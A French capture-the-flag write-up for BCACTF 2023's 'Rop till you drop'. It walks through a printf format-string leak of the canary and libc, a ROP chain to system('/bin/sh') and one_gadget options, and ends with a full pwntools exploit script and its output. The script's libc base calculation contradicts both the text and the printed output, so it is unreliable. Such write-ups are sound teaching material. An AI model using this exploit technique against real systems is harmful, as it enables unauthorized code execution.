Contents

bcactf2023 - Rop till you drop

Rop till you drop

Introduction

Ce challenge propose par BCACTF 2023 illustre l’utilisation d’une faille printf pour obtenir des fuites d’informations utiles à l’exploitation d’un programme commpilé en PIE et protégé par un canari.

(Article à étoffer)

Description

DANCE! DANCE! DAOCE! DROCE! ROCE! ROPE! ROP! ROP! ROP!

Rop till you drop.

Resources:

Netcat Links: nc challs.bcactf.com 30344

Static resources:

  • roptiludrop
  • libc-2.31.so

Les ressources : roptiludrop.zip

Pour la libc la récupérer ainsi :

http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.31-0ubuntu9.11_amd64.deb
ar xv libc6_2.31-0ubuntu9.11_amd64.deb data.tar.x
tar xJf data.tar.xz ./lib/x86_64-linux-gnu/libc-2.31.so

Découverte

Execution

$ ./roptiludrop 
DO NOT STOP ROPPING
> AAAA
AAAAWhat is this? 0x7ff3f5354cf0

DO NOT STOP ROPPING
> BBBBB
BBBBB

Party!

Si on abuse un peu.

$ ./roptiludrop 
DO NOT STOP ROPPING
> XXXXX
XXXXXWhat is this? 0x7fbef2d27cf0

DO NOT STOP ROPPING
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��bV
*** stack smashing detected ***: terminated
Abandon

Le programme nous poses un première question puis la revoie en echo.

Protection

gef➤  checksec
[+] checksec for '/home/jce/w/bactf2023/pwn/4-rop/roptiludrop'
[*] .gef-2b72f5d0d9f0f218a91cd1ca5148e45923b950d5.py:L8764 'checksec' is deprecated and will be removed in a feature release. Use Elf(fname).checksec()
Canary                        : ✓
NX                            : ✓
PIE                           : ✓
Fortify                       : ✘
RelRO                         : Full

The code

undefined8 main(void)

{
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  life();
  puts("Party!");
  return 0;
}

void life(void)

{
  long in_FS_OFFSET;
  char input [24];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  printf("DO NOT STOP ROPPING\n> ");
  gets(input);
  printf(input);
  printf("What is this? %p\n",printf);
  printf("\nDO NOT STOP ROPPING\n> ");
  fread(input,1,0x50,stdin);
  puts(input);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return;
}

Analyse

On voit d’abord que la fonction est protégée avec un canary.

Le premier printf nous permet d’obtenir des fuites memoire via un message contenant de “%p”, En particulier le canary, mais aussi une la sauvegarde de rbp et celle de rip.

L’adresse de printf est affichée, donc une reference dans la libc.

Ensuite un second message est demandé avec une instruction fread(input, 80,0) le buffer input ayant une taille de 25 octets, le canary est systématiquement écrasé car on est obligé d’envoyer 80 octets.

On va donc d’abord obtenir une fuite de la valeur du canary puis envoyer un second message débordant mais avec la bonne valeur du canary de faàon a sortir de la fonction par le ret et engager une chaine de ROP.

Le message sera donc du type “24 octets de pad” | canary | SRBP | ROPCHAINE

Recherche du canary

Pour localiser l’index du canary syr la pile au momen du printf, on paut tatonner

On eenvoie : AAAAAAAA %p %p %p %p %p %p

Réponse :

AAAAAAAA 0x1 0x1 0x7f01de328a80 (nil) (nil) 0x41414141414141410x000055c883a23275

On voit que 0x4141414141414141 est présent sur la 6eme entrée de la pile. o Si on observe la pile avec un simple message “AAAAAAAA”

gef➤  x/12x $rsp
0x7ffc434bc200:	0x4141414141414141	0x00007ffc434bc300
                Message
0x7ffc434bc210:	0x00007ffc434bc230	0xf9b69d5f3c136900
                                    canary
0x7ffc434bc220:	0x00007ffc434bc230	0x000055c697412332
                SRBP                SRIP
0x7ffc434bc230:	0x0000000000000001	0x00007fdfb8f8e18a
0x7ffc434bc240:	0x00007ffc434bc330	0x000055c6974122e4
0x7ffc434bc250:	0x0000000197411040	0x00007ffc434bc348

Le canary est 3 entrées plus loin on à l’index 9. On reconnait la canary à sa forme aléatoire sauf le “premier” octet qui est à zero.

On peut le vérifier :

> %9$p %10$p
0xc58bfa43f2b09300 0x7fffffffe3a0What is this? 0x7ffff7e32cf


gef➤  x/8x $rsp
0x7fffffffe370: 0x3031252070243925      0x0000000000007024
0x7fffffffe380: 0x00007fffffffe3a0      0xc58bfa43f2b09300
0x7fffffffe390: 0x00007fffffffe3a0      0x0000555555555332
0x7fffffffe3a0: 0x0000555555555350      0x00007ffff7e02d0


On peut donc obtenir le canary avec %9$p et dans la foulée SRBP, et SRIP avec %10 et %11.

On paut choisr d'utiliser SRIP pour localiser une zone du programme comme un gadget ou une fonction.

Recherche de gadgets

On dispose de fonctions gentillement mise à dispo dans le programme.

gef➤  i fun
All defined functions:

Non-debugging symbols:
0x0000000000001000  _init
0x0000000000001080  printf@plt
0x0000000000001090  __cxa_finalize@plt
0x00000000000010a0  puts@plt
0x00000000000010b0  fread@plt
0x00000000000010c0  __stack_chk_fail@plt
0x00000000000010d0  setbuf@plt
0x00000000000010e0  gets@plt
0x00000000000010f0  _start
0x0000000000001120  deregister_tm_clones
0x0000000000001150  register_tm_clones
0x0000000000001190  __do_global_dtors_aux
0x00000000000011d0  frame_dummy
0x00000000000011d9  DANCE
0x00000000000011e6  DAOCE
0x00000000000011f3  DROCE
0x0000000000001200  ROCE
0x000000000000120d  ROPE
0x000000000000121a  ROP
0x0000000000001227  life
0x00000000000012e4  main
0x0000000000001350  __libc_csu_init
0x00000000000013c0  __libc_csu_fini
0x00000000000013c8  _fini

gef➤  disas ROP
Dump of assembler code for function ROP:
0x000000000000121a <+0>: endbr64
0x000000000000121e <+4>: push   rbp
0x000000000000121f <+5>: mov    rbp,rsp
0x0000000000001222 <+8>: push   rdi
0x0000000000001223 <+9>: pop    rdi
0x0000000000001224 <+10>:    nop
0x0000000000001225 <+11>:    pop    rbp
0x0000000000001226 <+12>:    ret
End of assembler dump.

Dump of assembler code for function ROPE:
0x000000000000120d <+0>: endbr64
0x0000000000001211 <+4>: push   rbp
0x0000000000001212 <+5>: mov    rbp,rsp
0x0000000000001215 <+8>: push   rsi
0x0000000000001216 <+9>: pop    rsi
0x0000000000001217 <+10>:    nop
0x0000000000001218 <+11>:    pop    rbp
0x0000000000001219 <+12>:    ret
End of assembler dump

On a dans le programme un ensemble de gadgets comme :

  • pop rdi; ret;
  • pop rsi; ret;

On pourrait donc les localiser avec la fuite de SRIP.

Cependant on trouvera aussi facilement un pop rdi dans la libc.

One gadget

Pour simplifier la démarche d’appel à la fonction système on peut rechercher dans la libc un gadget “magique”.

On sait que la fonction systeme execute un appel à execve avec “/bin/sh”. La démarche “one gadget” consiste à identifier une adresse à laquelle on peut sauter pour bénéficier du code existant.

L’outil one_gadget fait ça.

gem install one_gadget

root@zbook310152:/w/bactf2023/pwn/4-rop# one_gadget libc-2.31.so
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

Observons à quoi correspond une de ces adresses dans la libc.

[0x000e6c81]> pd 5
│       ╎   0x000e6c81      4c89fe         mov rsi, r15
│       ╎   0x000e6c84      488d3d1f090d.  lea rdi, str._bin_sh        ; 0x1b75aa ; "/bin/sh"
│       ╎   ; DATA XREF from fcn.001083b0 @ 0x108633
│       ╎   0x000e6c8b      e860f6ffff     call sym.execve
│       ╎   0x000e6c90      4c89f4         mov rsp, r14
│       └─< 0x000e6c93      e9cdfdffff     jmp 0xe6a65

On voit que comme indiqué on a un appel execve("/bin/sh", r15, rdx).

Il faut donc que r15 et rdx soient null pour éviter un crash.

Determiner libc_base

jce@zbook310152:~/w/bactf2023/pwn/4-rop$ readelf -s libc-2.31.so |grep printf
    24: 0000000000065130   183 FUNC    GLOBAL DEFAULT   16 dprintf@@GLIBC_2.2.5
160: 0000000000064fa0   197 FUNC    GLOBAL DEFAULT   16 sprintf@@GLIBC_2.2.5
240: 0000000000089720    27 FUNC    GLOBAL DEFAULT   16 vwprintf@@GLIBC_2.2.5
555: 00000000000882b0   183 FUNC    WEAK   DEFAULT   16 vsprintf@@GLIBC_2.2.5
637: 0000000000064e10   204 FUNC    GLOBAL DEFAULT   16 printf@@GLIBC_2.2.5
907: 0000000000089660   179 FUNC    GLOBAL DEFAULT   16 swprintf@@GLIBC_2.2.5
1245: 000000000005ea30    27 FUNC    GLOBAL DEFAULT   16 vprintf@@GLIBC_2.2.5
1320: 0000000000065070   183 FUNC    WEAK   DEFAULT   16 asprintf@@GLIBC_2.2.5
1841: 0000000000064d50   183 FUNC    GLOBAL DEFAULT   16 fprintf@@GLIBC_2.2.5
2075: 000000000008efc0    11 FUNC    WEAK   DEFAULT   16 vdprintf@@GLIBC_2.2.5
2204: 0000000000089740   204 FUNC    GLOBAL DEFAULT   16 wprintf@@GLIBC_2.2.5
2265: 00000000000895a0   183 FUNC    WEAK   DEFAULT   16 fwprintf@@GLIBC_2.2.5
2292: 000000000005ea20    11 FUNC    GLOBAL DEFAULT   16 vfprintf@@GLIBC_2.2.5
2318: 0000000000064ee0   179 FUNC    WEAK   DEFAULT   16 snprintf@@GLIBC_2.2.5

En otant 0x064e10 à l’adresse de leak fournie par le programme, on aurra la base de la libc.

## Chaines de ROP

Avec one_gadet

On peut poster une chaine de ROP limitée à l’adresse d’un one_gadget. En posant un point d’arrêt à la fin de la fonction life, on peut constater que les conditions sont réunies.

On calcule la base de la libc à partir de la fuite d’adresse de printf. On Ajoute 0xe6c81

Classique

On localise une chaine “/bin/sh” dans la libc.

# rabin2 -z libc-2.31.so|grep "bin/sh"
686  0x001b75aa 0x001b75aa 7   8    .rodata ascii   /bin/sh

Par exemple en 0x1b75aa sitée dans .rodata

On localise ensuite la fonction system.

rabin2 -s libc-2.31.so|grep system
236  0x00156a80 0x00156a80 GLOBAL FUNC   103       svcerr_systemerr
617  0x00055410 0x00055410 GLOBAL FUNC   45        __libc_system
1427 0x00055410 0x00055410 WEAK   FUNC   45        system

Dans les deux cas on ajoute bien entendu les offsets à l’adresse de base de la libc.

Ensuite la chaine est de type :

  • pop rdi
  • @bin_sh
  • @system

Script python

Le script suivant réalise un chaine de rop avec pop rdi; “/bin/sh”; system

#!/usr/bin/python3

from pwn import *

elf =  ELF('roptiludrop')
context.binary=elf

# Script de demarage gdb
gs='''
b *life+180
c
'''


libc_path = './libc-2.31.so'
env = {"LD_PRELOAD": libc_path}

REMOTE=DEBUG=False

if len(sys.argv)>1 :
    REMOTE = sys.argv[1] == "-r"
    DEBUG = sys.argv[1] == "-d"
if REMOTE:
    io = remote("challs.bcactf.com", 30344)
else:
    io = process(elf.path, env=env)
    if DEBUG:
        gdb.attach(io,gs)
        time.sleep(1)

io.sendlineafter(b"> ",b"%9$p %10$p %11$p")

line=io.recvline().rstrip()
print(line)

# '0x442c800ec228e200 0x7fffd9dd94b0 0x556dfeca9332What is this? 0x7f43d1efdcf0'
l = line.split(b" ")
canary=int(l[0], 16)
srbp=int(l[1], 16)
srip=int(l[2][:-4], 16)
libc_printf=int(l[5], 16)
libc_base=libc_printf

binsh=libc_base+0x1b75aa
system=libc_base+0x55410
poprdi = libc_base+0x026b72

print(f"{canary=:x}")
print(f"{libc_printf=:x}")
print(f"{libc_base=:x}")

PL=b"A"*0x18
PL+=p64(canary)
PL+=p64(srbp)
PL+=p64(poprdi)
PL+=p64(binsh)
PL+=p64(poprdi+1)    # ret; pour alignement de la pile
PL+=p64(system)
PL+=b"X"*(0x50-1-len(PL))
io.sendlineafter(b"> ", PL)

io.sendline(b"cat flag.txt")
log.info(io.recv().decode())
log.info(io.recv().decode())

Lancement

$ python3 solve.py 
[*] '/home/jce/w/bcactf2023/pwn/4-rop/roptiludrop'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/jce/w/bcactf2023/pwn/4-rop/roptiludrop': pid 10939
b'0x41edc2abbdbcb600 0x7ffc330b6110 0x5576be632332What is this? 0x7fe787c9ce10'
canary=41edc2abbdbcb600
libc_printf=7fe787c9ce10
libc_base=7fe787c38000
[*] AAAAAAAAAAAAAAAAAAAAAAAA
[*] bcactf2023{MY_SWEET_FLAG}
[*] Stopped process '/home/jce/w/bcactf2023/pwn/4-rop/roptiludrop' (pid 10939)